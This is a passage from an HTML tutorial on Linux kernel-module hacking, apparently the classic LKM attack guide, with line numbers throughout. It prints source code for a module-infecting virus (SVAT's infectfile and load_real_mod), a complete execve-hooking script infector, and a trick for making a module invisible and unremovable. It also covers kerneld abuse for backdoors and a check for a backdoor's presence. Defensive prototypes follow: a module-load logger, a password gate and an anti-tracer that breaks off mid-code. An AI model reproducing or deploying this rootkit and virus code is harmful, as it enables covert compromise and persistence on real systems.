2719 void cleanup_module(void)
2720 {
2721  /*no more hijacking*/
2722  sys_call_table[SYS_write] = original_write;
2723 }
2724 </xmp>
2725
2726
2727 The comments should make this code easy to read.The general idea is to intercept
2728 sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After
2729 checking fd for the TTY we want to snoop, get the data written and write it
2730 to some log (not implemented in the example above).There are several ways where
2731 you can store the logs.halflife used a buffer (accessible through an own device)
2732 which is a good idea (he can also control his hijack'er using ioctl-commands
2733 on his device).<br>
2734 I personally would recommand storing the logs in hidden (through LKM) file,
2735 and making the controlling through some kind of IPC. Take the way which works
2736 on your rooted system.<br>
2737
2738 <H3><A NAME="II.8."></A>8. Virus writing with LKMs</h3>
2739
2740 Now we will leave the hacking part for a second and take a look at the 
2741 world of virus coding (the ideas discussed here could also be
2742 interesting for hackers, so read on...). I will concentrate this discussion
2743 on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the 
2744 complete source, so this section will only discuss important techniques and 
2745 functions. This LKM requires a Linux system (it was tested on a 2.0.33 system)
2746 and kerneld installed (I will explain why).<br>
2747 First of all you have to know that this LKM infector does not infect normal
2748 elf <i>executables</i> (would also be possible,I will come to that point later->7.1),
2749 it only infects <i>modules</i>, which are loaded / unloaded. This loading / unloading
2750 is often managed by kerneld (see I.7). So imagine a module infected with the
2751 virus code; when loading this module you also load the virus LKM which uses
2752 hiding features (see 8). This virus module intercepts the sys_create_module
2753 and sys_delete_module (see I.2) systemcalls for further infection. Whenever
2754 a module is unloaded on that system it is infected by the new sys_delete_module
2755 systemcall. So every module requested by kerneld (or manually) will be infected
2756 when unloaded.<br>
2757 You could imagine the following scenario for the first infection :
2758 <ul>
2759 <li>admin is searching a network driver for his new interface card (ethernet,...)<br>
2760 <li>he starts searching the web <br>
2761 <li>he finds a driver module which should work on his system & downloads it<br>
2762 <li>he installs the module on his system [the module <i>is</i> infected]<br>
2763 --> the infector is installed, the system is compromised<br>
2764 </ul>
2765 Of course, he did not download the source, he was lazy and took the risks using
2766 a binary file. So admins <i>never</i> trust any binary files (esp. modules).
2767 So I hope you see the chances / risks of LKM infectors, now let's look a bit
2768 closer at the LKM infector by SVAT.<br>
2769 Imagine you have the source for the virus LKM (a simple module, which intercepts
2770 sys_create_module / sys_delete_module and some other [more tricky] stuff). The
2771 first question would be how to infect an existing module (the host module). Well
2772 let's do some experimenting. Take two modules and 'cat' them together like
2773
2774 <xmp>
2775 # cat module1.o >> module2.o
2776 </xmp>
2777
2778 After this try to insmod the resulting module2.o (which also includes module1.o
2779 at its end).
2780
2781 <xmp>
2782 # insmod module2.o
2783 </xmp>
2784
2785 Ok it worked, now check which modules are loaded on your system
2786
2787 <xmp>
2788 # lsmod
2789 Module         Pages    Used by
2790 module2        1        0
2791 </xmp>
2792
2793 So we know that by concatenating two modules the first one (concerning object
2794 code) will be loaded, the second one will be ignored. And there will be no error
2795 saying that insmod can not load corrupted code or so.<br>
2796 With this in mind, it should be clear that a host module could be infected by
2797
2798 <xmp>
2799 cat host_module.o >> virus_module.o
2800 ren virus_module.o host_module.o
2801 </xmp>
2802
2803 This way loading host_module.o will load the virus with all its nice LKM
2804 features. But there is one problem, how do we load the actual host_module ? It
2805 would be very strange to a user / admin when his device driver would do nothing. 
2806 Here we need the help of kerneld. As I said in I.7 you can use kerneld to load
2807 a module. Just use request_module("module_name") in your sources.This will force
2808 kerneld to load the specified module. But where do we get the original host
2809 module from ? It is packed in host_module.o (together with virus_module.o). So
2810 after compiling your virus_module.c to its objectcode you have to look at its
2811 size (how many bytes). After this you know where the original host_module.o will
2812 begin in the packed one (you must compile the virus_module two times : the first
2813 one to check the objectcode size, the second one with the source changed
2814 concerning objectsize which must be hardcoded...). After these steps your
2815 virus_module should be able to extract the original host_module.o from the
2816 packed one. You have to save this extracted module somewhere, and load it via
2817 request_module("orig_host_module.o"). After loading the original host_module.o
2818 your virus_module (which is also loaded from the insmod [issued by user, or
2819 kerneld]) can start infecting any loaded modules.<br>
2820 Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the
2821 infection, so let's take a look at his hacked systemcall (I only added some
2822 comments) :
2823
2824 <xmp>
2825 /*just the hacked systemcall*/
2826 int new_delete_module(char *modname)
2827 {
2828  /*number of infected modules*/
2829  static int infected = 0;
2830  int retval = 0, i = 0;
2831  char *s = NULL, *name = NULL;
2832  
2833  /*call the original sys_delete_module*/       
2834  retval = old_delete_module(modname); 
2835
2836   if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
2837   return retval;
2838  
2839  /*check files to infect -> this comes from hacked sys_create_module; just
2840  a feature of *this* LKM infector, nothing generic for this type of virus*/
2841  for (i = 0; files2infect[i][0] && i < 7; i++) 
2842  {
2843   strcat(files2infect[i], ".o"); 
2844   if ((s  = get_mod_name(files2infect[i])) == NULL) 
2845   {
2846    return retval;
2847   }
2848   name = strcpy(name, s);
2849   if (!is_infected(name)) 
2850   {
2851    /*this is just a macro wrapper for printk(...)*/
2852    DPRINTK("try 2 infect %s as #%d\n", name, i);
2853    /*increase infection counter*/
2854    infected++;
2855    /*the infect function*/
2856    infectfile(name);
2857   }
2858   memset(files2infect[i], 0, 60 + 2);
2859  } /* for */
2860  /* its enough */
2861  /*how many modules were infected, if enough then stop and quit*/
2862  if (infected >= ENOUGH)
2863   cleanup_module();
2864  vfree(name);
2865  return retval;
2866 }
2867 </xmp>
2868
2869 Well there is only one function interesting in this systemcall: infectfile(...).
2870 So let's examine that function (again only some comments were added by me) :
2871
2872 <xmp>
2873 int infectfile(char *filename)
2874 {
2875  char *tmp = "/tmp/t000";
2876  int in = 0, out = 0;
2877  struct file *file1, *file2;
2878  
2879  /*don't get confused, this is a macro define by the virus. It does the
2880  kernel space -> user space handling for systemcall arguments(see I.4)*/
2881  BEGIN_KMEM
2882  /*open objectfile of the module which was unloaded*/
2883  in = open(filename, O_RDONLY, 0640);
2884  /*create a temp. file*/
2885  out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
2886  /*see BEGIN_KMEM*/
2887  END_KMEM
2888  
2889  DPRINTK("in infectfile: in = %d out = %d\n", in, out);
2890  if (in <= 0 || out <= 0)
2891   return -1;
2892  file1 = current->files->fd[in];
2893  file2 = current->files->fd[out];
2894  if (!file1 || !file2)
2895   return -1;
2896  /*copy module objectcode (host) to file2*/
2897  cp(file1, file2);
2898  BEGIN_KMEM
2899  file1->f_pos = 0;
2900  file2->f_pos = 0;
2901  /* write Vircode [from mem] */
2902  DPRINTK("in infetcfile: filenanme = %s\n", filename);
2903  file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
2904  cp(file2, file1);
2905  close(in);
2906  close(out);
2907  unlink(tmp);
2908  END_KMEM
2909  return 0;
2910 }        
2911 </xmp>
2912 I think the infection function should be quite clear.<br>
2913 There is only thing left which I think is necessary to discuss : How does
2914 the infected module first start the virus, and load the original module (we know
2915 the theory, but how to do it in reality) ?<br>
2916 For answering this question lets take a look at a function called 
2917 load_real_mod(char *path_name, char* name) which manages that problem :
2918
2919 <xmp>
2920 /* Is that simple: we disinfect the module [hide 'n seek]
2921  * and send a request to kerneld to load
2922  * the orig mod. N0 fuckin' parsing for symbols and headers
2923  * is needed - cool.
2924  */
2925 int load_real_mod(char *path_name, char *name)
2926 {       
2927  int r = 0, i = 0;              
2928  struct file *file1, *file2;
2929  int in =  0, out = 0; 
2930
2931  DPRINTK("in load_real_mod name = %s\n", path_name);
2932  if (VirCode)
2933   vfree(VirCode);
2934  VirCode = vmalloc(MODLEN);
2935  if (!VirCode)
2936    return -1;
2937  BEGIN_KMEM
2938  /*open the module just loaded (->the one which is already infected)*/
2939  in = open(path_name, O_RDONLY, 0640);
2940  END_KMEM
2941  if (in <= 0)
2942   return -1;
2943  file1 = current->files->fd[in];
2944  if (!file1)
2945   return -1;
2946  /* read Vircode [into mem] */
2947  BEGIN_KMEM
2948  file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
2949  close(in);
2950  END_KMEM
2951  /*split virus / orig. module*/
2952  disinfect(path_name);
2953  /*load the orig. module with kerneld*/
2954  r = request_module(name);
2955  DPRINTK("in load_real_mod: request_module = %d\n", r);
2956  return 0;
2957 }       
2958 </xmp>        
2959
2960 It should be clear *why* this LKM infector need kerneld now, we need to load the
2961 original module by requesting it with request_module(...).
2962 I hope you understood this very basic journey through the world of LKM infectors
2963 (virus). The next sub sections will show some basic extensions / ideas concering
2964 LKM infectors.
2965
2966 <H4><A NAME="II.8.1."></A>8.1  How a LKM virus can infect any file (not just modules)</h4>
2967
2968 Please don't blame me for not showing a working example of this idea, I just
2969 don't have the time to implement it at the moment (look for further releases).
2970 As you saw in II.4.2 it is possible to catch the execute of every file using
2971 an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which
2972 appends some data to the program that is going to be executed. The next time
2973 this program is started, it first starts our added part and then the original
2974 program (just a basic virus scheme). We all know that there are some existing
2975 Linux / unix viruses out there, so why don't we try to use LKMs infect our elf
2976 executables not just modules.We could infect our executables,in a way that they
2977 check for UID=0 and then load again our infection module... I hope you
2978 understood the general idea. <br>
2979 I have to admit, that the modification needed to elf files is quite tricky, but
2980 with enough time you could do it (it was done several times before, just take a
2981 look at existing Linux viruses).<br> 
2982 First of all you have to check for the file type which is going to be execute 
2983 by sys_execve(...). There are several ways to do it; one of the fastest is to
2984 read some bytes from the file and checking them against the ELF string. After
2985 this you can use write(...) / read(...) / ... calls to modify the file, look at
2986 the LKM infector to see how it does it.<br>
2987 My theory would stay theory without any proof, so I present a very easy and
2988 useless LKM *script* infector. You cannot do anything virus like with it, it just
2989 infects a script with certain commands and nothing else; no real virus features.<br>
2990 I show you this example as a concept of LKMs infecting any file you execute.
2991 Even Java files could be infected, because of the features provided by the Linux
2992 kernel. Here comes the little LKM script infector :
2993
2994 <xmp>
2995 #define __KERNEL__
2996 #define MODULE
2997
2998 /*taken from the original LKM infector; it makes the whole LKM a lot easier*/
2999 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
3000 #define END_KMEM   set_fs(old_fs);}
3001
3002 #include <linux/version.h>
3003 #include <linux/mm.h>
3004 #include <linux/unistd.h>
3005 #include <linux/fs.h>
3006 #include <linux/types.h>
3007 #include <asm/errno.h>
3008 #include <asm/string.h>
3009 #include <linux/fcntl.h>
3010 #include <sys/syscall.h>
3011 #include <linux/module.h>
3012 #include <linux/malloc.h>
3013 #include <linux/kernel.h>
3014 #include <linux/kerneld.h>
3015
3016 int __NR_myexecve;
3017
3018 extern void *sys_call_table[];
3019
3020 int (*orig_execve) (const char *, const char *[], const char *[]);
3021
3022 int (*open)(char *, int, int);
3023 int (*write)(unsigned int, char*, unsigned int);
3024 int (*read)(unsigned int, char*, unsigned int);
3025 int (*close)(int);
3026
3027
3028 /*see II.4.2 for explanation*/
3029 int my_execve(const char *filename, const char *argv[], const char *envp[])
3030 {
3031     long __res;
3032     __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
3033     return (int) __res;
3034 }
3035
3036 /*infected execve systemcall + infection routine*/
3037 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
3038 {
3039  char *test, j;
3040  int ret;
3041  int host = 0;
3042
3043  /*just a buffer for reading up to 20 files (needed for identification of
3044  execute file*/
3045  test = (char *) kmalloc(21, GFP_KERNEL);
3046
3047  /*open the host script, which is going to be executed*/
3048  host=open(filename, O_RDWR|O_APPEND, 0640);
3049
3050  BEGIN_KMEM
3051
3052  /*read the first 20 bytes*/
3053  read(host, test, 20);  
3054
3055  /*is it a normal shell script (as you see, you can modify this for *any*
3056  executable*/
3057  if (strstr(test, "#!/bin/sh")!=NULL)
3058  { 
3059   /*a little debug message*/
3060   printk("<1>INFECT !\n"); 
3061   /*we are friendly and attach a peaceful command*/
3062   write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
3063  }
3064  END_KMEM
3065  /*modification is done, so close our host*/
3066  close(host);
3067  /*free allocated memory*/ 
3068  kfree(test);
3069  /*execute the file (the file is execute WITH the changes made by us*/
3070  ret = my_execve(filename, argv, envp);
3071  return ret;
3072 }
3073
3074
3075 int init_module(void)                /*module setup*/
3076 {
3077  __NR_myexecve = 250;
3078  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3079   __NR_myexecve--;
3080  orig_execve = sys_call_table[SYS_execve];
3081  if (__NR_myexecve != 0) 
3082  {
3083   printk("<1>everything OK\n");
3084   sys_call_table[__NR_myexecve] = orig_execve; 
3085   sys_call_table[SYS_execve] = (void *) hacked_execve;
3086  }
3087
3088  /*we need some functions*/
3089  open = sys_call_table[__NR_open]; 
3090  close = sys_call_table[__NR_close];     
3091  write = sys_call_table[__NR_write];
3092  read = sys_call_table[__NR_read];
3093  return 0;
3094 }
3095
3096 void cleanup_module(void)            /*module shutdown*/
3097 {
3098  sys_call_table[SYS_execve]=orig_execve;                                      
3099 }
3100 </xmp>
3101
3102 This is too easy to waste some words on it. Of course, this module does
3103 <i>not</i> need kerneld for spreading (interesting for kernel without kerneld
3104 support). <br>
3105 I hope you got the idea on infecting any executable, this is a very strong
3106 method of killing large systems.
3107
3108 <H4><A NAME="II.8.2."></A>8.2  How can a LKM virus help us to get in</h4>
3109
3110 As you know virus coders are not hackers, so what about interesting features for
3111 hackers. Think about this problem (only ten seconds), you should realize, that
3112 a whole system could be yours by introducing a trojan (infected) LKM.<br>
3113 Remember all the nice hacks we discussed till now.Even without trojans you could 
3114 hack a system with LKMs. Just use a local buffer overflow to load a LKM in your
3115 home directoy. Believe me, it is easier to infect a system with a real good LKM
3116 than doing the same stuff as root again and again. It's more elagent to let the
3117 LKM make the work for you. Be CREATIVE...
3118
3119 <H3><A NAME="II.9."></A>9. Making our LKM invisible & unremovable </h3>
3120
3121 Now it's time to start talking about the most important / interesting Hack I 
3122 will present. This idea comes from plaguez's LKM published in Phrack (other 
3123 people like Solar Designer discussed this before...).<br>
3124 So far we are able to hide files, processes, directories, and whatever we
3125 want. But we <i>cannot</i> hide our own <i>LKM</i>. Just load a LKM and take a look at
3126 /proc/modules. There are many ways we can solve this problem. The first solution
3127 could be a partial file hiding (see II.4.3). This would be easy to implement,
3128 but there is a better more advanced and secure way. Using this technique you
3129 must also intercept the sys_query_module(...) systemcall. An example of this
3130 approach can be seen in A-b.<br>
3131 As I explained in I.1 a module is finally loaded by issuing a init_module(...)
3132 systemcall which will start the module's init function. init_module(...) gets
3133 an argument : struct mod_routines *routines.  This structure contains very
3134 important information for loading the LKM. It is possible for us to manipulate
3135 some data from this structure in a way our module will have no name and no
3136 references. After this the system will no longer show our LKM in /proc/modules,
3137 because it ignores LKMs with no name and a refernce count equal to 0. The
3138 following lines show how to access the part of mod_routines, in order to hide
3139 the module.<br>
3140
3141 <xmp>
3142 /*from Phrack & AFHRM*/
3143 int init_module()
3144 {
3145   register struct module *mp asm("%ebp");   // or whatever register it is in
3146   *(char*)mp->name=0;
3147   mp->size=0;
3148   mp->ref=0;
3149  ...
3150 </xmp>
3151
3152 This code trusts in the fact that gcc did not manipulate the ebp register
3153 because we need it in order to find the right memory location. After finding
3154 the structure we can set the structure's name and references members to 0 which
3155 will make our module invisible and also unremovable, because you can only remove
3156 LKMs which the kernel knows, but our module is unknow to the kernel.<br>
3157 Remember that this trick only works if you use gcc in way it does not touch the
3158 register you need to access for getting the structure.You must use the following
3159 gcc options :
3160
3161 <xmp>
3162 #gcc -c -O3 -fomit-frame-pointer module.c 
3163 </xmp>
3164
3165 fomit-frame-pointer says cc not to keep frame pointer in registers for functions
3166 that don't need one. This keeps our register clean after the function call of
3167 init_module(...), so that we can access the structure.<br>
3168 In my opinion this is the most important trick, because it helps us to develope
3169 hidden LKMs which are also unremovable.
3170
3171 <H3><A NAME="II.10."></A>10. Other ways of abusing the Kerneldaemon</h3>
3172
3173 In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM
3174 infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine
3175 the socketcall loading a module instead of starting our backdoor shellscript or
3176 program. You could load a module adding an entry to passwd or inetd.conf. After
3177 loading this second LKM you have many possibilities of changing systemfiles. 
3178 Again, be creative.  
3179
3180 <H3><A NAME="II.11."></A>11. How to check for presents of our LKM</h3>
3181
3182 We learned many ways a module can help us to subvert a system. So imagine you
3183 code yourself a nice backdoor tool (or take an existing) which isn't implemented
3184 in the LKM you use on that system; just something like pingd, WWW remote shell,
3185 shell, .... How can you check after logging in on the system that your LKM is 
3186 still working? Imagine what would happen if you enter a session and the admin is
3187 waiting for you without your LKM loaded (so no process hiding etc.). So you 
3188 start doing you job on that system (reading your own logs, checking some mail
3189 traffic and so on) and every step is monitored by the admin. Well no good 
3190 situation, we must know that our LKM is working with a simple check.<br>
3191 I suppose the following way is a good solution (although there may be many other
3192 good ones):
3193 <ul>
3194 <li> implement a special systemcall in your module<br>
3195 <li> write a little user space program checking for that systemcall<br>
3196 </ul>
3197 Here is a module which implements our 'check systemcall' :
3198
3199 <xmp>
3200 #define MODULE
3201 #define __KERNEL__
3202
3203 #include <linux/module.h>
3204 #include <linux/kernel.h>
3205 #include <asm/unistd.h>
3206 #include <sys/syscall.h>
3207 #include <sys/types.h>
3208 #include <asm/fcntl.h>
3209 #include <asm/errno.h>
3210 #include <linux/types.h>
3211 #include <linux/dirent.h>
3212 #include <sys/mman.h>
3213 #include <linux/string.h>
3214 #include <linux/fs.h>
3215 #include <linux/malloc.h>
3216
3217 #define SYS_CHECK 200
3218
3219 extern void* sys_call_table[];
3220
3221
3222 int sys_check()
3223 {
3224  return 666;    
3225 }
3226
3227 int init_module(void)                /*module setup*/
3228 {
3229  sys_call_table[SYS_CHECK]=sys_check;
3230  return 0;
3231 }
3232
3233 void cleanup_module(void)            /*module shutdown*/
3234 {}
3235 </xmp>
3236
3237 If you issue a systemcall with the number 200 in eax we should get a return of
3238 666. So here is our user space program checking for this :
3239
3240 <xmp>
3241 #include <linux/errno.h>
3242 #include <sys/syscall.h>
3243 #include <errno.h>
3244
3245 extern void *sys_call_table[];
3246
3247 int check()
3248 {   
3249  __asm__("movl $200,%eax
3250          int $0x80");
3251 }
3252
3253 main()
3254 {
3255  int ret;
3256  ret = check();
3257  if (ret!=666) 
3258   printf("Our module is *not* present !!\n");
3259  else
3260   printf("Our module is present, continue...\n");
3261 }
3262 </xmp>
3263
3264
3265 In my opinion this is one of the easiest ways to check for presents of our LKM,
3266 just try it.
3267
3268
3269 <u><b>
3270 <H2>III. Soltutions (for admins)</H2>
3271 </u></b>
3272 <P><P>
3273
3274
3275 <H3><A NAME="III.1."></A>1. LKM Detector Theory & Ideas</h3>
3276
3277 I think it is time to help admins securing their system from hostile LKMs.<br>
3278 Before explaining some theories remember the following for a secure system :<br>
3279 <ul>
3280 <li> never install <i>any</i> LKMs you don't have the sources for (of course, this is
3281   also relevant for normal executables)<br>
3282 <li> if you have the sources, check them (if you can). Remember the tcpd trojan 
3283   problem. Large software packets are mostly quite complex to understand, but
3284   if you need a very secure system you should analyse the source code.<br>
3285 </ul>
3286 Even if you follow those tips it could be possible that an intruder activates an
3287 LKM on your system (overflows etc.). <br>
3288 So what about a LKM logging every module loaded, and denying every load attempt
3289 from a directory different from a secure one (to avoid simple overflows; that's no
3290 perfect way...). The logging can be easily done by intercepting the
3291 create_module(...) systemcall. The same way you could check for the directory
3292 the loaded module comes from. <br>
3293 It would also be possible to deny any module loading, but this is a very bad way,
3294 because you really need them. So what about modifying module loading in a way
3295 you can supply a password, which will be checked in your intercepted
3296 create_module(...). If the password is correct the module will be loaded, if not
3297 it will be dropped.<br>
3298 It should be clear that you have to hide your LKM to make it unremovable. So
3299 let's take a look at some prototype implemantations of the logging LKM and the
3300 password protected create_module(...) systemcall.<br>
3301
3302 <H4><A NAME="III.1.1."></A>1.1  Practical Example of a prototype Detector</h4>
3303
3304 Nothing to say about that simple implementation, just intercept
3305 sys_create_module(...) and log the names of modules which were loaded.
3306
3307 <xmp>
3308
3309 #define MODULE
3310 #define __KERNEL__
3311
3312 #include <linux/module.h>
3313 #include <linux/kernel.h>
3314 #include <asm/unistd.h>
3315 #include <sys/syscall.h>
3316 #include <sys/types.h>
3317 #include <asm/fcntl.h>
3318 #include <asm/errno.h>
3319 #include <linux/types.h>
3320 #include <linux/dirent.h>
3321 #include <sys/mman.h>
3322 #include <linux/string.h>
3323 #include <linux/fs.h>
3324 #include <linux/malloc.h>
3325
3326 extern void* sys_call_table[];
3327
3328
3329 int (*orig_create_module)(char*, unsigned long);
3330
3331
3332 int hacked_create_module(char *name, unsigned long size)
3333 {
3334  char *kernel_name;
3335  char hide[]="ourtool";
3336  int ret;
3337  
3338  kernel_name = (char*) kmalloc(256, GFP_KERNEL);
3339  memcpy_fromfs(kernel_name, name, 255);
3340
3341  /*here we log to syslog, but you can log where you want*/
3342  printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
3343  
3344  ret=orig_create_module(name, size);
3345  return ret;
3346 }
3347
3348
3349 int init_module(void)                /*module setup*/
3350 {
3351  orig_create_module=sys_call_table[SYS_create_module];
3352  sys_call_table[SYS_create_module]=hacked_create_module;
3353  return 0;
3354 }
3355
3356 void cleanup_module(void)            /*module shutdown*/
3357 {
3358  sys_call_table[SYS_create_module]=orig_create_module;                                      
3359 }
3360
3361 </xmp>
3362
3363 This is all you need, of course you should add the lines required for hiding the
3364 module, but this is no problem. After making it unremovable this way, a hacker
3365 can only modify the log file, but you could also save your logs, to a file
3366 unaccessible for the hacker (see II.1 for required tricks).
3367 Of course you can also intercept sys_init_module(...)which would also show every
3368 module, that's just a matter of taste.
3369
3370
3371 <H4><A NAME="III.1.2."></A>1.2  Practical Example of a prototype password protected create_module(...)</h4>
3372
3373
3374 This subsection will deal with the possibility to add authentication to module
3375 loading. We need two things to manage this task :
3376 <ul>
3377 <li> a way to check module loading (easy)<br>
3378 <li> a way to authenticate (quite difficult)<br>
3379 </ul>
3380 The first point is very easy to code, just intercept sys_create_module(...) and
3381 check some variable, which tells the kernel wether this load process is legal.
3382 But how to do authentication. I must admit that I did not spend many seconds on
3383 thinking about this problem, so the solution is more than bad, but this is a LKM
3384 article, so use your brain, and create something better. My way to do it, was
3385 to intercept the stat(...) systemcall, which is used if you type any command,and
3386 the system needs to search it. So just type a password as command and the LKM
3387 will check it in the intercepted stat call [I know this is more than insecure;
3388 even a Linux starter would be able to defeat this authentication scheme, but
3389 (again) this is not the point here...]. Take a look at my implemtation (I ripped
3390 lots of from existing LKMs like the one by plaguez...):<br>
3391
3392 <xmp>
3393 #define MODULE
3394 #define __KERNEL__
3395
3396 #include <linux/module.h>
3397 #include <linux/kernel.h>
3398 #include <asm/unistd.h>
3399 #include <sys/syscall.h>
3400 #include <sys/types.h>
3401 #include <asm/fcntl.h>
3402 #include <asm/errno.h>
3403 #include <linux/types.h>
3404 #include <linux/dirent.h>
3405 #include <sys/mman.h>
3406 #include <linux/string.h>
3407 #include <linux/fs.h>
3408 #include <linux/malloc.h>
3409 #include <sys/stat.h>
3410
3411
3412 extern void* sys_call_table[];
3413
3414 /*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
3415 int lock_mod=0;
3416
3417 int __NR_myexecve;
3418
3419 /*intercept create_module(...) and stat(...) systemcalls*/
3420 int (*orig_create_module)(char*, unsigned long);
3421 int (*orig_stat) (const char *, struct old_stat*);
3422
3423 char *strncpy_fromfs(char *dest, const char *src, int n)
3424 {
3425  char *tmp = src;
3426  int compt = 0;
3427
3428  do {
3429   dest[compt++] = __get_user(tmp++, 1);
3430  }
3431  while ((dest[compt - 1] != '\0') && (compt != n));
3432
3433  return dest;
3434 }
3435
3436 int hacked_stat(const char *filename, struct old_stat *buf)
3437 {
3438  char *name;
3439  int ret;
3440  char *password = "password"; /*yeah, a great password*/
3441
3442  name    = (char *) kmalloc(255, GFP_KERNEL);
3443
3444  (void) strncpy_fromfs(name, filename, 255);
3445
3446  /*do we have our password ?*/
3447  if (strstr(name, password)!=NULL) 
3448  { 
3449   /*allow loading a module for one time*/
3450   lock_mod=1; 
3451   kfree(name);
3452   return 0;
3453  } 
3454  else 
3455  {
3456   kfree(name);
3457   ret = orig_stat(filename, buf);
3458  }
3459  return ret;
3460 }
3461
3462 int hacked_create_module(char *name, unsigned long size)
3463 {
3464  char *kernel_name;
3465  char hide[]="ourtool";
3466  int ret;
3467  
3468  if (lock_mod==1)
3469  {
3470   lock_mod=0;
3471   ret=orig_create_module(name, size);
3472   return ret;
3473  }
3474  else
3475  {
3476   printk("<1>MOD-POL : Permission denied !\n");
3477   return 0;
3478  }
3479  return ret;
3480 }
3481
3482
3483 int init_module(void)                /*module setup*/
3484 {
3485  __NR_myexecve = 200;
3486
3487  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3488   __NR_myexecve--;
3489  
3490  sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];                                       
3491
3492  orig_stat=sys_call_table[SYS_prev_stat];
3493  sys_call_table[SYS_prev_stat]=hacked_stat;
3494
3495  orig_create_module=sys_call_table[SYS_create_module];
3496  sys_call_table[SYS_create_module]=hacked_create_module;
3497
3498  printk("<1>MOD-POL LOADED...\n");
3499  return 0;
3500 }
3501
3502 void cleanup_module(void)            /*module shutdown*/
3503 {
3504  sys_call_table[SYS_prev_stat]=orig_stat;                                      
3505  sys_call_table[SYS_create_module]=orig_create_module;                                      
3506 }
3507 </xmp>
3508
3509 This code should be clear. The following list tells you what to improve in this
3510 LKM in order to make it more secure, perhaps a bit too paranoid :) :
3511 <ul>
3512 <li>find another way to authenticate (use your own user space interface, with your
3513   own systemcalls; use userID (not just a plain password); perhaps you have a
3514   biometric device -> read documentation and code your device driver for Linux
3515   and use it ;)  ...) BUT REMEMBER: the most secure hardware protection (dongles,
3516   biometric, smartcard systems can often be defeated because of a very insecure
3517   software interface;. You could secure your whole system with a mechanism like
3518   that. Control your whole kernel with a smartcard  :)<br>
3519   Another not so 'extreme' way would be to implement your own systemcall which is
3520   responsible for authentication. (see II.11 for an example of creating your
3521   own systemcall).<br>
3522 <li>find a better way to check in sys_create_module(...). Checking a variable is
3523   not very secure, if someone rooted your system he could patch the memory (see
3524   the next part)<br>
3525 <li>find a way to make it impossible for an attacker to use your authentication
3526   for insmod'ing his LKM <br>
3527 <li>add hiding features<br>
3528 <li>...<br>
3529 </ul>
3530
3531 You can see, there is some work to do. But even with those steps, your system
3532 cannot be totally secure.If someone rooted the system he could find other tricks
3533 to load his LKM (see next part); perhaps he even does not need a LKM, because he
3534 only rooted thesystem, and don't want to hide files / processeses (and the other
3535 wonderfull things possible with LKMs).
3536
3537 <H3><A NAME="III.2."></A>2. Anti-LKM-Infector ideas</h3
3538
3539 In this section I will concentrate on the LKM Infector by SVAT, because I cannot
3540 present a generic LKM infection scanner. Perhaps this would be possible with
3541 something like heuristic tests or something similar. There are many ways you
3542 can implement a LKM infector scanner. You can divide them into two big groups :
3543 <ul>
3544 <li> memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD
3545   scanner virus in WIN9x)<br>
3546 <li> file checking scanner (checking module files for signs of an infection)<br>
3547 </ul>
3548 The first method is possible through intercepting sys_create_module (or the
3549 init_module call). The second approach needs something characteristic which you
3550 may find in any infected file. We know that the LKM infector appends two module
3551 files. So we could check for two ELF headers / signatures. Of course, any other
3552 LKM infector could use a improved method (encryption, selfmodifying code etc.).
3553 I won't present a file checking scanner, because you just have to write a little
3554 (user space) programm that reads in the module, and checks for twe ELF headers
3555 (the 'ELF' string, for example).
3556
3557 <H3><A NAME="III.3."></A>3. Make your programs untraceable (theory)</h3>
3558
3559 Now it's time to beat hackers snooping our executables. As I said before strace
3560 is the tool of our choice. I presented it as a tool helping us to see which 
3561 systemcalls are used in certain programs. Another very interesting use of strace
3562 is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to
3563 use strace for TTY hijacking. Just strace your neighbours shell,and you will get
3564 every input he makes. So you admins should realize the danger of strace. The
3565 program strace uses the following API function :<br>
3566
3567 <xmp>
3568 #include <sys/ptrace.h>
3569
3570 int ptrace(int request, int pid, int addr, int data);
3571 </xmp>
3572
3573 Well how can we control strace? Don't be silly and remove strace from your 
3574 system, and think everything is ok - as I show you ptrace(...) is a library 
3575 function. Every hacker can code his own program doing the same as strace. So 
3576 we need a better more secure solution. Your first idea could be to search for
3577 an interesting systemcall that could be responsible for the tracing; There is
3578 a systemcall doing that; but let's look at another approach before.<br>
3579 Remember II.5.1 : I talked about the task flags. There were two flags which
3580 stand for traced processes. This is the way we can control the tracing on our
3581 system. Just intercept the sys_execve(...) systemcall and check the current
3582 process for one of the two flags set.<br>
3583
3584 <H4><A NAME="III.3.1."></A>3.1  Practical Example of a prototype Anti-Tracer</h4>
3585
3586 This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from
3587 4. The flags field from our process can easily be retrieved using the current
3588 pointer (task structure). The rest is nothing new.
3589
3590 <xmp>
3591 #define MODULE
3592 #define __KERNEL__
3593
3594 #include <linux/module.h>
3595 #include <linux/kernel.h>
3596 #include <asm/unistd.h>
3597 #include <sys/syscall.h>
3598 #include <sys/types.h>
3599 #include <asm/fcntl.h>
3600 #include <asm/errno.h>
3601 #include <linux/types.h>
3602 #include <linux/dirent.h>
3603 #include <sys/mman.h>
3604 #include <linux/string.h>
3605 #include <linux/fs.h>
3606 #include <linux/malloc.h>
3607
3608 extern void* sys_call_table[];
3609
3610 int __NR_myexecve;
3611
3612 int (*orig_execve) (const char *, const char *[], const char *[]);
3613
3614 char *strncpy_fromfs(char *dest, const char *src, int n)
3615 {
3616  char *tmp = src;
3617  int compt = 0;
3618
3619  do {
